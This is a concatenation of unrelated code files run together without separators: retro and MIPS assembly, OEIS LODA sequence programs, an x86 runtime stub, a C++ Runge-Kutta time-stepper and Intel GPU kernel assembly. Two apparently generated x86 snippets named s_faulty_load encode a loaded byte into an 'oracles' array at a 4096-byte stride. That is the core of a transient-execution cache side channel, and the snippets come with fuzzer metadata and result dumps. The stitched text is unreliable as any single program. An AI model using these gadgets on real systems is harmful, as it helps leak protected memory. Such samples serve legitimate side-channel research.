8 PHA XBA LDA #0 XBA AND #$F0 LSR A LSR A LSR A LSR A TAX LDA TEXT_HEXDIGITS.L,X JSL TEXT_WRCHR LDA 1,S AND #$0F TAX LDA TEXT_HEXDIGITS.L,X JSL TEXT_WRCHR PLA RTL WRITE_HEX_WORD: XBA JSL WRITE_HEX_BYTE XBA JMP WRITE_HEX_BYTE TEXT_HEXDIGITS: .DB "0123456789ABCDEF" .IF _DEBUG != 0 MESSAGE_DEBUG: .DB "FOR TESTING PURPOSES ONLY",0 .ENDIF MESSAGE_BLANK: .DB " ",0 MESSAGE_INSERTDISK: .DB "INSERT BOOT DISK IN DRIVE #1",0 MESSAGE_DISKNONBOOTABLE: .DB "INSERT BOOT DISK IN DRIVE #1",0 MESSAGE_OPENMENU: .DB " -ALT- FOR MENU ",0 MESSAGE_DISKNOTVALID: .DB " DISK ERROR ",0 MESSAGE_MENU_CHECKSUM: .DB "ROM CHECKSUM $",0 MESSAGE_MENU: .DB " ","ELLIPSE 1100 MENU",13,13 .DB " "," -ESC-",9,9,"BOOT FROM FLOPPY",13 .DB 13 .DB " "," -M-",9,9,"MONITOR",13 .IF _DEBUG != 0 .DB 13 .DB " "," -Q-",9,9,"RAM TEST",13 .ENDIF .DB 0
;courtesy of the following website: https://cs.nyu.edu/courses/fall14/CSCI-UA.0436-001/MIPS_Test_Programs.html sub r0,r0,r0 ; set reg[0] to 0, use as base lw r1,0(r0) ; reg[1] <- mem[0] (= 1) lw r2,4(r0) ; reg[2] <- mem[4] (= A) lw r3,8(r0) ; reg[3] <- mem[8] (= B) sub r4,r4,r4 ; reg[4] <- 0, running total add r4,r2,r4 ; reg[4]+ = A slt r5,r2,r3 ; reg[5] <- A < B beq r5,r0,2 ; if reg[5] = FALSE, go forward 2 instructions add r2,r1,r2 ; A++ beq r0,r0,-5 ; go back 5 instructions sw r4,0(r0) ; mem[0] <- reg[4] beq r0,r0,-1 ; program is over, keep looping back to here
; A004657: Expansion of g.f.: (1+x^3)*(1+x^4)/((1-x)*(1-x^2)^2*(1-x^4)). ; 1,1,3,4,9,11,19,24,37,45,63,76,101,119,151,176,217,249,299,340,401,451,523,584,669,741,839,924,1037,1135,1263,1376,1521,1649,1811,1956,2137,2299,2499,2680,2901,3101,3343,3564,3829,4071,4359,4624,4937,5225,5563,5876,6241,6579,6971,7336,7757,8149,8599,9020,9501,9951,10463,10944,11489,12001,12579,13124,13737,14315,14963,15576,16261,16909,17631,18316,19077,19799,20599,21360,22201,23001,23883,24724,25649,26531,27499,28424,29437,30405,31463,32476,33581,34639,35791,36896,38097,39249,40499,41700,43001,44251,45603,46904,48309,49661,51119,52524,54037,55495,57063,58576,60201,61769,63451,65076,66817,68499,70299,72040,73901,75701,77623,79484,81469,83391,85439,87424,89537,91585,93763,95876,98121,100299,102611,104856,107237,109549,111999,114380,116901,119351,121943,124464,127129,129721,132459,135124,137937,140675,143563,146376,149341,152229,155271,158236,161357,164399,167599,170720,174001,177201,180563,183844,187289,190651,194179,197624,201237,204765,208463,212076,215861,219559,223431,227216,231177,235049,239099,243060,247201,251251,255483,259624,263949,268181,272599,276924,281437,285855,290463,294976,299681,304289,309091,313796,318697,323499,328499,333400,338501,343501,348703,353804,359109,364311,369719,375024,380537,385945,391563,397076,402801,408419,414251,419976,425917,431749,437799,443740,449901,455951,462223,468384,474769,481041,487539,493924,500537,507035,513763,520376,527221,533949,540911,547756,554837,561799,568999,576080,583401,590601,598043,605364,612929,620371,628059,635624,643437,651125 mov $11,$0 mov $13,$0 add $13,1 lpb $13 clr $0,11 mov $0,$11 sub $13,1 sub $0,$13 add $8,$0 div $0,2 sub $8,$0 mul $0,2 sub $0,$8 add $0,1 add $2,1 add $4,$2 mov $1,$4 mul $1,2 sub $1,$0 sub $1,2 pow $1,2 add $1,1 mov $5,$1 div $5,2 add $12,$5 lpe mov $1,$12
section .bss $buf2 resb 2 section .text global _prints, _readb, _exit, _start extern _env, _strlen, _entry _prints: push dword [esp+4] ; pushd 'prints' first argument call _strlen mov edx, eax pop ecx ; pop-it back, instead of 'add esp,4' and 'mov ecx, [esp+4]' mov eax, 4 mov ebx, 1 int 0x80 ret _readb: push ebx push ecx push edx mov edx, 1 mov ecx, $buf2 mov ebx, 0 mov eax, 3 int 0x80 cmp eax, 1 jne .Lret xor eax, eax mov al, [$buf2] .Lret: pop edx pop ecx pop ebx ret _start: mov [$_env], esp mov eax, [esp] ; argc lea ebx, [esp+4] ; argv lea edx, [ebx+eax*4]; &(argv[argc]) add edx, 4 ; envp push dword 0 mov ebp, esp ; init frame pointer push edx push ebx push eax ; truncate real to integer conversions fstcw word [buf2] or word [buf2], 0x0C00 fldcw word [buf2] ; start program call _entry push eax call _exit _exit: mov ebx, [esp+4] .L0: mov eax, 1 int 0x80 jmp .L0
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x7e1f, %r10 nop nop nop and $1436, %rax mov $0x6162636465666768, %rdx movq %rdx, (%r10) nop dec %r9 lea addresses_WC_ht+0xfe7f, %rsi lea addresses_A_ht+0x5a7f, %rdi nop nop nop nop xor %r8, %r8 mov $116, %rcx rep movsl inc %rsi lea addresses_A_ht+0x2f97, %r10 nop nop dec %rcx mov $0x6162636465666768, %rax movq %rax, (%r10) nop sub %r8, %r8 lea addresses_A_ht+0x4e7f, %r9 clflush (%r9) nop cmp $6717, %rsi mov (%r9), %ecx nop nop cmp %rdi, %rdi lea addresses_WC_ht+0x17f7f, %r8 nop sub %r9, %r9 movb $0x61, (%r8) nop add $26770, %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %rax push %rbx push %rdi // Store lea addresses_RW+0x1467f, %r12 mfence movb $0x51, (%r12) nop nop nop add $55423, %r15 // Faulty Load lea addresses_WC+0xb67f, %rax inc %r11 vmovaps (%rax), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $0, %xmm3, %r12 lea oracles, %rbx and $0xff, %r12 shlq $12, %r12 mov (%rbx,%r12,1), %r12 pop %rdi pop %rbx pop %rax pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8}} {'00': 21828, '48': 1} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x8698, %rsi lea addresses_UC_ht+0x144a8, %rdi nop nop nop nop nop inc %rbx mov $120, %rcx rep movsl nop nop nop nop nop inc %r12 lea addresses_D_ht+0x3398, %r8 nop nop add %rcx, %rcx movl $0x61626364, (%r8) nop nop nop nop nop cmp $48698, %rbx lea addresses_UC_ht+0x11538, %rsi lea addresses_A_ht+0x4e16, %rdi nop cmp %r12, %r12 mov $119, %rcx rep movsb nop and $3903, %rdi lea addresses_normal_ht+0x1d558, %rbx nop inc %rax mov (%rbx), %si nop inc %r8 lea addresses_normal_ht+0x10ed8, %rsi lea addresses_WT_ht+0x5b98, %rdi nop nop nop nop cmp %r11, %r11 mov $62, %rcx rep movsl nop nop nop nop inc %rdi lea addresses_WT_ht+0xf4c2, %rsi lea addresses_normal_ht+0x1d26c, %rdi nop nop nop sub $29928, %rax mov $90, %rcx rep movsq nop nop xor %rsi, %rsi lea addresses_normal_ht+0x10f38, %rsi nop nop xor $27218, %r12 movw $0x6162, (%rsi) nop xor %r11, %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %r9 push %rax push %rbx push %rsi // Load lea addresses_normal+0xfa8, %r11 nop nop nop nop nop and %r15, %r15 movups (%r11), %xmm4 vpextrq $1, %xmm4, %rax nop nop nop nop nop dec %r11 // Store lea addresses_A+0xa9f8, %rsi nop add $63336, %rbx movb $0x51, (%rsi) nop nop nop nop nop xor %r11, %r11 // Store lea addresses_RW+0x10198, %r11 nop add $63630, %r10 mov $0x5152535455565758, %rbx movq %rbx, %xmm5 movups %xmm5, (%r11) nop nop inc %r15 // Load lea addresses_WT+0x9598, %rbx clflush (%rbx) nop nop nop nop and $59, %r10 vmovups (%rbx), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %r9 nop add %rbx, %rbx // Faulty Load lea addresses_RW+0x10198, %rsi nop nop nop inc %r10 movups (%rsi), %xmm5 vpextrq $1, %xmm5, %r15 lea oracles, %r9 and $0xff, %r15 shlq $12, %r15 mov (%r9,%r15,1), %r15 pop %rsi pop %rbx pop %rax pop %r9 pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_RW'}} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': True, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}} {'00': 17601} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
// Distributed under the MIT License. // See LICENSE.txt for details. #include "Time/TimeSteppers/Cerk3.hpp" #include <cmath> #include <limits> #include "Time/EvolutionOrdering.hpp" #include "Time/History.hpp" #include "Time/TimeStepId.hpp" #include "Utilities/ErrorHandling/Assert.hpp" #include "Utilities/Gsl.hpp" namespace TimeSteppers { size_t Cerk3::order() const { return 3; } size_t Cerk3::error_estimate_order() const { return 2; } uint64_t Cerk3::number_of_substeps() const { return 3; } uint64_t Cerk3::number_of_substeps_for_error() const { return 3; } size_t Cerk3::number_of_past_steps() const { return 0; } // The stability polynomial is // // p(z) = \sum_{n=0}^{stages-1} alpha_n z^n / n!, // // alpha_n=1.0 for n=1...(order-1). double Cerk3::stable_step() const { return 1.2563726633091645; } TimeStepId Cerk3::next_time_id(const TimeStepId& current_id, const TimeDelta& time_step) const { const auto& step = current_id.substep(); const auto& t0 = current_id.step_time(); const auto& t = current_id.substep_time(); if (step < number_of_substeps()) { if (step == 0) { ASSERT(t == t0, "In Cerk3 substep 0, the substep time (" << t << ") should equal t0 (" << t0 << ")"); } else { ASSERT(t == t0 + gsl::at(c_, step - 1) * time_step, "In Cerk3 substep " << step << ", the substep time (" << t << ") should equal t0+c[" << step - 1 << "]*dt (" << t0 + gsl::at(c_, step - 1) * time_step << ")"); } if (step < number_of_substeps() - 1) { return {current_id.time_runs_forward(), current_id.slab_number(), t0, step + 1, t0 + gsl::at(c_, step) * time_step}; } else { return {current_id.time_runs_forward(), current_id.slab_number(), t0 + time_step}; } } else { ERROR("In Cerk3 substep should be one of 0,1,2,3, not " << current_id.substep()); } } TimeStepId Cerk3::next_time_id_for_error(const TimeStepId& current_id, const TimeDelta& time_step) const { return next_time_id(current_id, time_step); } template <typename T> void Cerk3::update_u_impl(const gsl::not_null<T*> u, const gsl::not_null<UntypedHistory<T>*> history, const TimeDelta& time_step) const { ASSERT(history->integration_order() == 3, "Fixed-order stepper cannot run at order " << history->integration_order()); const size_t substep = (history->end() - 1).time_step_id().substep(); // Clean up old history if (substep == 0) { history->mark_unneeded(history->end() - 1); } const auto u0 = history->untyped_most_recent_value(); const double dt = time_step.value(); switch (substep) { case 0: { *u = *u0 + (a2_ * dt) * *history->begin().derivative(); break; } case 1: { *u = *u0 + ((a3_[0] - a2_) * dt) * *history->begin().derivative() + (a3_[1] * dt) * *(history->begin() + 1).derivative(); break; } case 2: { *u = *u0 + ((a4_[0] - a3_[0]) * dt) * *history->begin().derivative() + ((a4_[1] - a3_[1]) * dt) * *(history->begin() + 1).derivative() + (a4_[2] * dt) * *(history->begin() + 2).derivative(); break; } default: ERROR("Bad substep value in Cerk3: " << substep); } } template <typename T> bool Cerk3::update_u_impl(const gsl::not_null<T*> u, const gsl::not_null<T*> u_error, const gsl::not_null<UntypedHistory<T>*> history, const TimeDelta& time_step) const { ASSERT(history->integration_order() == 3, "Fixed-order stepper cannot run at order " << history->integration_order()); update_u_impl(u, history, time_step); const size_t current_substep = (history->end() - 1).time_step_id().substep(); if (current_substep == 2) { const double dt = time_step.value(); *u_error = ((e_[0] - a4_[0]) * dt) * *history->begin().derivative() + ((e_[1] - a4_[1]) * dt) * *(history->begin() + 1).derivative() - a4_[2] * dt * *(history->begin() + 2).derivative(); return true; } return false; } template <typename T> bool Cerk3::dense_update_u_impl(const gsl::not_null<T*> u, const UntypedHistory<T>& history, const double time) const { if ((history.end() - 1).time_step_id().substep() != 0) { return false; } const double t0 = history[0].value(); const double t_end = history[history.size() - 1].value(); if (time == t_end) { // Special case necessary for dense output at the initial time, // before taking a step. *u = *history.untyped_most_recent_value(); return true; } const evolution_less<double> before{t_end > t0}; if (history.size() == 1 or before(t_end, time)) { return false; } const double dt = t_end - t0; const double output_fraction = (time - t0) / dt; ASSERT(output_fraction >= 0.0, "Attempting dense output at time " << time << ", but already progressed past " << t0); ASSERT(output_fraction <= 1.0, "Requested time (" << time << ") not within step [" << t0 << ", " << t0 + dt << "]"); const auto u_n_plus_1 = history.untyped_most_recent_value(); // We need the following: k1, k2, k3, k4 const auto k1 = history.begin().derivative(); const auto k2 = (history.begin() + 1).derivative(); const auto k3 = (history.begin() + 2).derivative(); const auto k4 = (history.begin() + 3).derivative(); *u = *u_n_plus_1 + (dt * evaluate_polynomial(b1_, output_fraction)) * *k1 + (dt * evaluate_polynomial(b2_, output_fraction)) * *k2 + (dt * evaluate_polynomial(b3_, output_fraction)) * *k3 + (dt * evaluate_polynomial(b4_, output_fraction)) * *k4; return true; } template <typename T> bool Cerk3::can_change_step_size_impl( const TimeStepId& time_id, const UntypedHistory<T>& /*history*/) const { return time_id.substep() == 0; } // NOLINTNEXTLINE(readability-redundant-declaration) constexpr double Cerk3::a2_; // NOLINTNEXTLINE(readability-redundant-declaration) constexpr std::array<double, 2> Cerk3::a3_; // NOLINTNEXTLINE(readability-redundant-declaration) constexpr std::array<double, 3> Cerk3::a4_; // NOLINTNEXTLINE(readability-redundant-declaration) constexpr std::array<double, 4> Cerk3::b1_; // NOLINTNEXTLINE(readability-redundant-declaration) constexpr std::array<double, 4> Cerk3::b3_; // NOLINTNEXTLINE(readability-redundant-declaration) constexpr std::array<double, 4> Cerk3::b4_; // NOLINTNEXTLINE(readability-redundant-declaration) constexpr std::array<double, 4> Cerk3::e_; const std::array<Time::rational_t, 2> Cerk3::c_ = {{{12, 23}, {4, 5}}}; TIME_STEPPER_DEFINE_OVERLOADS(Cerk3) } // namespace TimeSteppers PUP::able::PUP_ID TimeSteppers::Cerk3::my_PUP_ID = // NOLINT 0;
; A192968: Coefficient of x in the reduction by x^2 -> x+1 of the polynomial p(n,x) defined at Comments. ; 0,1,1,3,7,16,33,64,118,210,364,619,1038,1723,2839,4653,7597,12370,20103,32626,52900,85716,138826,224773,363852,588901,953053,1542279,2495683,4038340,6534429,10573204,17108098,27681798,44790424,72472783,117263802,189737215,307001683,496739601,803742025,1300482406,2104225251,3404708518,5508934672,8913644136,14422579798,23336224969,37758805848,61095031945,98853838969,159948872139,258802712383,418751585848,677554299609,1096305886888,1773860187982,2870166076410,4644026265988,7514192344051,12158218611750,19672410957571,31830629571151,51503040530613,83333670103717,134836710636346,218170380742143,353007091380634,571177472124988,924184563507900,1495362035635234,2419546599145549,3914908634783268,6334455233931373 mov $3,$0 mov $5,$0 lpb $3,1 mov $0,$5 sub $3,1 sub $0,$3 mov $2,8 mov $4,8 sub $4,$0 cal $0,97135 ; a(0) = 1; for n>0, a(n) = 3*Fibonacci(n). sub $0,1 add $0,$4 add $2,$0 mov $4,$2 sub $4,16 add $1,$4 lpe
/* * Copyright (c) 2017, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ L0: mov (8|M0) r16.0<1>:ud r0.0<8;8,1>:ud (W&~f0.1)jmpi L528 L32: mov (8|M0) r17.0<1>:ud r25.0<8;8,1>:ud mov (1|M0) r16.2<1>:ud 0xE000:ud add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x42EC100:ud mov (1|M0) acc0.3<1>:f r25.3<0;1,0>:f mac (1|M0) r17.3<1>:f r23.1<0;1,0>:f 2.0:f mov (1|M0) r17.2<1>:f r10.1<0;1,0>:f send (1|M0) r80:uw r16:ub 0x2 a0.0 mov (1|M0) r17.2<1>:f r25.2<0;1,0>:f send (1|M0) r88:uw r16:ub 0x2 a0.0 add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x42EC201:ud mov (1|M0) acc0.3<1>:f r25.3<0;1,0>:f mac (1|M0) r17.3<1>:f r23.1<0;1,0>:f 2.0:f mov (1|M0) r17.2<1>:f r10.1<0;1,0>:f send (1|M0) r84:uw r16:ub 0x2 a0.0 mov (1|M0) r17.2<1>:f r25.2<0;1,0>:f send (1|M0) r92:uw r16:ub 0x2 a0.0 add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0x42EC302:ud mov (1|M0) acc0.3<1>:f r25.3<0;1,0>:f mac (1|M0) r17.3<1>:f r23.1<0;1,0>:f 2.0:f mov (1|M0) r17.2<1>:f r10.1<0;1,0>:f send (1|M0) r86:uw r16:ub 0x2 a0.0 mov (1|M0) r17.2<1>:f r25.2<0;1,0>:f send (1|M0) r94:uw r16:ub 0x2 a0.0 mov (16|M0) r82.0<1>:uw 0xFFFF:uw mov (16|M0) r83.0<1>:uw 0xFFFF:uw mov (16|M0) r90.0<1>:uw 0xFFFF:uw mov (16|M0) r91.0<1>:uw 0xFFFF:uw mov (1|M0) a0.8<1>:uw 0xA00:uw mov (1|M0) a0.9<1>:uw 0xA80:uw mov (1|M0) a0.10<1>:uw 0xAC0:uw add (4|M0) a0.12<1>:uw a0.8<4;4,1>:uw 0x100:uw L528: nop
